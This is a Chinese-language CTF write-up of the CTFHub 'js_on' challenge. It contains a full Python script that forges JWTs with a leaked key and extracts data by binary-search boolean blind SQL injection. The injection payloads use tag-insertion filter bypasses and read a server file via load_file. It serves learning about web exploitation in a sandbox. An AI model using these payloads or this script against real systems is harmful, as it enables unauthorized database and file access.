CTF-CTFHub-js_on
2020.09.17
第一次做CTFHub,加油
做题
js_on
https://www.ctfhub.com/#/challenge
- 进去是一个登陆界面
- 测试了admin,竟然登上了
xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6
,这应该是什么编码
- 直接搜答案,哈哈哈,慢慢学
# coding=utf-8
import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6" # 求hash的key
url = "http://challenge-7a51cd870d5dad21.sandbox.ctfhub.com:10080"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"} # 代理,应该是用于burp拦截的
# 测试jwt是否好用的吧
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
# print(info)
# 用于猜数据库名
#payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
# 用于猜所有数据库名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
# 用于猜表名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# 用于猜列名
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# 用于获取某文件内容,这里怎么知道这个文件的呢?
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
# 获取指定数据库的表名,performance_schema()是什么东西??
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=performan<a>ce_schema()),{},1))>{}#"
# 重要方法,需要学习,二分法进行布尔盲注。
def half_interval():
result = ""
for i in range(1,50):
min = 32
max = 127
while abs(max-min) > 1:
mid = (min + max)//2
payload = payloadTmpl.format(i,mid)
jwttoken = {
"user": payload,
"news": "success"
}
payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
#print(payload)
cookies = dict(token=str(payload))
res = requests.get(url,cookies=cookies,proxies=proxies)
if re.findall("success", res.text) != []:
min = mid
else:
max = mid
result += chr(max)
print(result)
if __name__ == "__main__":
half_interval()
# payload = payloadTmpl.format(1,32)
# jwttoken = {
# "user": payload,
# "news": "success"
# }
# print(jwttoken)
# payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
# print(payload)
#cookies = dict(token=str(payload))
#res = requests.get(url,cookies=cookies,proxies=proxies)
#res.encoding='utf-8'
#print(res.text)
- 登陆后的token
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OiB4UnQqWU1EcXlDQ3hZeGk5YUBMZ2NHcG5tTTJYOGkmNiJ9.dS9Hn6gwXUhuDIFgnibizPvV2o1uiNqRn5QVNjTCWYg
- 解密后的内容
{"alg":"HS256","typ":"JWT"}{"user":"admin","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}u/G¨0]Hn
&âÌûÕÚnÚ64ÂY`
- 根据这个,可以伪造token进行注入,做好笔记,时间到了,还真是紧张啊时间,看wp都看不明白就到时间了……
- jwt,JSON WEB TOKEN。就是一种cookie,存储用户信息。从上一步也能看出来是由三部分组成,jwt头+有效载荷payload+前两部分的签名。这个签名求法比较奇怪:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
,官方有脚本可以处理,https://jwt.io/#debugger,这里的secret应该就是头一步给的key,哈哈哈,来分析一波大佬写的脚本和wp,我觉得关键还是注入掌握的不够扎实,有些地方想不起来。 - 这道题我觉得比较难的是,怎么发现是token注入,怎么发现的
<a>
这个能用来过滤的,还有就是这个猜的过程是怎么实现的,前两个比较灵活,后一个猜的过程相对比较固定。我觉得有必要专门总结一下sql注入的方法,最好每一个都找个例题,时间紧迫,开拔。
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!